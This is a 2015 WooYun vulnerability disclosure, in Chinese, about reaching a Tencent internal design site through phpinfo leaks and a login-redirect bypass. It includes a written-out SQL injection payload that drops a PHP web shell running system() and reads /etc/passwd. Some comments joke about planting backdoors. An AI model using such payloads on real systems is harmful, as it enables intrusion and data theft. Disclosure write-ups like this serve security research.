从一个phpinfo到一次半途而废的腾讯内网漫游之旅

发表于 2015年06月17日
WooYun漏洞库

漏洞概要

缺陷编号：WooYun-2015-0121069

漏洞标题：从一个phpinfo到一次半途而废的腾讯内网漫游之旅

漏洞详情

披露状态：

2015-06-17: 细节已通知厂商并且等待厂商处理中
2015-06-17: 厂商已经确认，细节仅向厂商公开
2015-06-17: 厂商已经修复漏洞并主动公开，细节向公众公开

简要描述：

从一个phpinfo到一次半途而废的腾讯内网漫游之旅；哎，腾讯反应有点快啊，搞了一会，吃个饭回来；尼玛下线了。卧槽啊，分享下思路。

详细说明：

一、扫到了腾讯几个小问题，比如phpinfo之类的：

二、深入（一波三折）从上面扫到的几个漏洞来看,183.61.39.187这个IP存在两个web目录：

http://183.61.39.187/brand/<br>
http://183.61.39.187/sola/

1 2	http://183.61.39.187/brand/<br> http://183.61.39.187/sola/

其中这个http://183.61.39.187/brand/ 就是一哥日过的那个ycg.qq.com;当时我访问到这个，我都惊呆了，知道有戏；然而，我选择了http://183.61.39.187/sola/这个，因为上面那个目录并没有什么卵用。这个sola是他们内部一些搞设计的自己搭的站，访问首页直接尼玛跳到

http://passport.oa.com/modules/passport/signin.ashx?url=http://isux.oa.com/sola/

1	http://passport.oa.com/modules/passport/signin.ashx?url=http://isux.oa.com/sola/

然而，根据我多年的经验，这特么是个内部用的站啊。passport.oa.com是腾讯内部统一认证登陆的接口。好，紧接着我屏蔽这个跳转，发现首页是一个上传，兴奋。。。结果，尼玛竟然不能传php，撸了几种上传姿势，硬是没搞定，上传接口如下：

<form action="http://isux.oa.com/sola/upload.php" method="post"<br>
enctype="multipart/form-data"><br>
<label for="file">Filename:</label><br>
<input type="file" name="files[]" /><br>
<br /><br>
<input type="submit" name="submit" value="Submit" /><br>
</form>

enctype="multipart/form-data"><br>

<label for="file">Filename:</label><br>

</form>

但是，但是我抓到一个另外的接口

http://isux.oa.com/sola/server/showPic.phpuser=

1	http://isux.oa.com/sola/server/showPic.phpuser=

恩，很不错，存在注入漏洞。那么我来写个文件试试；web目录是我从phpinfo里看到的—_-!

http://isux.oa.com/sola/server/showPic.php<br>
user=1' union select 1,"<?php system('ps aux')?>",load_file('/etc/passwd'),4,5,6,7,8,9,0 into outfile "/data/imgcache/htdocs/sola/public/1k23hj1k22b.php" -- ;

1 2	http://isux.oa.com/sola/server/showPic.php<br> user=1' union select 1,"<?php system('ps aux')?>",load_file('/etc/passwd'),4,5,6,7,8,9,0 into outfile "/data/imgcache/htdocs/sola/public/1k23hj1k22b.php" -- ;

竟然上传成功了，惊呆了

好了，饿了，回家吃饭，结果，吃完饭回来，尼玛下线了,,,

漏洞证明：

修复方案：

已经下线了。。。

漏洞回应

厂商回应：

危害等级：低

漏洞Rank：1

确认时间：2015-06-1710:33

厂商回复：

非常感谢您的报告，问题已着手处理，感谢大家对腾讯业务安全的关注。如果您有任何疑问，欢迎反馈，我们会有专人跟进处理。

评价

2010-01-01 00:00 紫霞仙子白帽子 | Rank:885 漏洞数:70)

速度不错
2010-01-01 00:00 CplusHua 白帽子 | Rank:83 漏洞数:11)

说了多少次,千万不要phpinfo..........
2010-01-01 00:00 子非海绵宝宝白帽子 | Rank:1220 漏洞数:113)

检测到就能给1分了?
2010-01-01 00:00 继续沉默白帽子 | Rank:54 漏洞数:5)

说了多少次,千万不要phpinfo.......... 关键字被检测到了
2010-01-01 00:00 泳少白帽子 | Rank:158 漏洞数:20)

他们有“洋葱”
2010-01-01 00:00 xsser 白帽子 | Rank:152 漏洞数:17)

腾讯牛逼啊
2010-01-01 00:00 loli 白帽子 | Rank:590 漏洞数:49)

你好1分
2010-01-01 00:00 牛小帅白帽子 | Rank:407 漏洞数:34)

卧槽就1分
2010-01-01 00:00 Ano_Tom 白帽子 | Rank:391 漏洞数:33)

检测到了就给1分？2333333333
2010-01-01 00:00 明月影白帽子 | Rank:0 漏洞数:1)

waf认识你了，小哥。
2010-01-01 00:00 jeary 白帽子 | Rank:117 漏洞数:14)

听说请求腾讯的站加上各种关键字，腾讯某些人就得忙起来，不知道这是不是真的..
2010-01-01 00:00 wy007 白帽子 | Rank:100 漏洞数:8)

又学习新姿势了...
2010-01-01 00:00 齐迹白帽子 | Rank:674 漏洞数:77)

渗透行为发生时被安全系统检测到，业务已下线
尼玛好强大！
2010-01-01 00:00 rasca1 白帽子 | Rank:39 漏洞数:8)

我比较好奇这个 oa你是怎么跳转进去的
2010-01-01 00:00 猪猪侠白帽子 | Rank:2932 漏洞数:249)

吃个饭回来；尼玛下线了。卧槽啊
2010-01-01 00:00 chock 白帽子 | Rank:114 漏洞数:13)

说了多少次,千万不要phpinfo..........
2010-01-01 00:00 PgHook 白帽子 | Rank:689 漏洞数:69)

记住了，下次搞站的时候，备好干粮，去吃啥饭嘛！！
2010-01-01 00:00 Passer_by 白帽子 | Rank:94 漏洞数:18)

才一分啊，大腾讯太小气了吧，啥理由也没有就1分？大家都别去tsrc了，直接发贴分享吧！
2010-01-01 00:00 rasca1 白帽子 | Rank:39 漏洞数:8)

@PgHook 9494放个后门再去吃啊
2010-01-01 00:00 PyNerd 白帽子 | Rank:134 漏洞数:17)

腾讯的内网敏感，下次还是不要提交tsrc直接发出来分享吧
2010-01-01 00:00 秋风白帽子 | Rank:372 漏洞数:32)

NB!
2010-01-01 00:00 B1gstar 白帽子 | Rank:45 漏洞数:3)

喜欢这个节奏，速度公开
2010-01-01 00:00 小杰哥白帽子 | Rank:185 漏洞数:15)

牛逼一提交就公开
2010-01-01 00:00 乐乐、白帽子 | Rank:528 漏洞数:57)

每次搞到**洞还没提交就已经检测到然后给修复在提交忽略的说
2010-01-01 00:00 whitehat 白帽子 | Rank:0 漏洞数:0)

渗透行为发生时被就被检测到了，这系统厉害啊
2010-01-01 00:00 哲璇白帽子 | Rank:0 漏洞数:0)

速度真快
2010-01-01 00:00 白开水白帽子 | Rank:207 漏洞数:15)

哈哈哈哈吃个饭下线了
2010-01-01 00:00 90Snake 白帽子 | Rank:111 漏洞数:10)

老大说了：腾讯牛逼啊
2010-01-01 00:00 Zephyrus 白帽子 | Rank:0 漏洞数:0)

腾讯这反映略快啊
2010-01-01 00:00 M4sk 白帽子 | Rank:783 漏洞数:96)

记住了，下次搞站的时候，备好干粮，去吃啥饭嘛！！
2010-01-01 00:00 疯狗白帽子 | Rank:22 漏洞数:2)

以后要拼手速的
2010-01-01 00:00 JGHOOluwa 白帽子 | Rank:5 漏洞数:1)

这时候你会发现一个妹纸多么重要了，当你撸站饿了的时候她主动给你送来饭，让你张嘴喂你吃，伙计，你缺的不是技术，缺的是送饭的妹纸啊！！！
2010-01-01 00:00 小熊饼干白帽子 | Rank:34 漏洞数:4)

用1分来说明下“安全系统”，然而这有卵用？
2010-01-01 00:00 ’‘Nome 白帽子 | Rank:57 漏洞数:7)

洞主，这说明不了什么，，这说明腾讯还给你挖洞的机会。。。加油看好你
2010-01-01 00:00 qhwlpg 白帽子 | Rank:141 漏洞数:13)

渗透行为发生时被安全系统检测到，业务已下线，还是腾讯牛逼！
2010-01-01 00:00 我来你网白帽子 | Rank:0 漏洞数:0)

学习了
2010-01-01 00:00 Ning 白帽子 | Rank:45 漏洞数:5)

渗透行为发生时被安全系统检测到，业务已下线
2010-01-01 00:00 3ang 白帽子 | Rank:0 漏洞数:0)

渗透行为发生时被安全系统检测到，业务已下线
2010-01-01 00:00 ucifer 白帽子 | Rank:58 漏洞数:9)

这洞不止1rank吧，虽然已经被检测到了
2010-01-01 00:00 李白白帽子 | Rank:128 漏洞数:19)

@ucifer 检测到了说明这种方式的攻击是可控的，在实际环境中危害并不是很大，但1rank确实不太合理
2010-01-01 00:00 Loser 白帽子 | Rank:0 漏洞数:0)

23333真是到爆炸啊= =可能因为是业务及时下架，所以才给1分吧
2010-01-01 00:00 写个七白帽子 | Rank:0 漏洞数:0)

才一分啊，大腾讯太小气了吧，啥理由也没有就1分？大家都别去tsrc了，直接发贴分享吧！
2010-01-01 00:00 番茄师傅白帽子 | Rank:169 漏洞数:16)

检测到就能给1分了?
2010-01-01 00:00 hell0123 白帽子 | Rank:0 漏洞数:0)

@jeary 一有关键字就人工检测，这劳动力有点大啊...